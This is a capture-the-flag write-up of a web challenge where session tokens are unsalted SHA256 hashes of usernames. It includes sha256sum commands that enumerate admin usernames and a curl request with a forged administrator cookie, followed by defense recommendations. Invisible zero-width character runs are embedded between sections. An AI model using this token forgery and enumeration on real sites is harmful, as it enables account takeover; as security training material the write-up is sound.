Tokens

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: SHA256 token forgery, Token analysis and hash identification, User enumeration via token validation

Summary

Walkthrough of the CUSTOM Web Tokens. Task: Cryptocurrency platform with token-based authentication. Solution: Discovered tokens are SHA256(username) without salt, forged administrator token to access admin profile and retrieve flag.

Description

"Как насчёт токенов?" (How about tokens?)

Target: http://62.173.140.174:16079

Analysis

1. Reconnaissance

"Cryptop" website - a cryptocurrency platform with registration and login functionality.

2. Token Analysis

After registering a test user testuser123 and logging in, the following cookie was received:

Token=d79aeec77b3b6e6ec5f45ae5e040173380262e1ea51b38747195c3cf09a02f16

3. Vulnerability Discovery

The token turned out to be a simple SHA256 hash of the username: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
echo -n "testuser123" | sha256sum
# d79aeec77b3b6e6ec5f45ae5e040173380262e1ea51b38747195c3cf09a02f16

Vulnerability: The token is generated as SHA256(username) without salt or secret key.

4. User Enumeration

Checking standard administrator names:

 bash read-only • copy allowed Copy
# admin - user not found
echo -n "admin" | sha256sum
# 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

# administrator - user found!
echo -n "administrator" | sha256sum
# 4194d1706ed1f408d5e02d672777019f4d5385c766a8c6ca8acba3167d36a7b9

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Generating Administrator Token

 bash read-only • copy allowed Copy
echo -n "administrator" | sha256sum
# 4194d1706ed1f408d5e02d672777019f4d5385c766a8c6ca8acba3167d36a7b9

Getting the Flag

 bash read-only • copy allowed Copy
curl -b "Token=4194d1706ed1f408d5e02d672777019f4d5385c766a8c6ca8acba3167d36a7b9" \
     "http://62.173.140.174:16079/profile.php"

The flag is displayed in the "Your token" field on the administrator's profile page.

Vulnerability

Insecure Token Generation - authentication tokens are generated as a simple SHA256 hash of the username without using:

• Salt
• Secret key
• Random data (nonce) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This allows an attacker to forge a token for any user knowing only their username.

Defense Recommendations

1. Use cryptographically secure random tokens
2. Add a secret key when generating tokens (HMAC)
3. Include timestamp and session binding
4. Use established libraries for session management (JWT with secret, session tokens) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering SHA256 token forgery, Token analysis and hash identification, User enumeration via token validation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2025-12-20 • CUSTOM • Tokens • Difficulty: Easy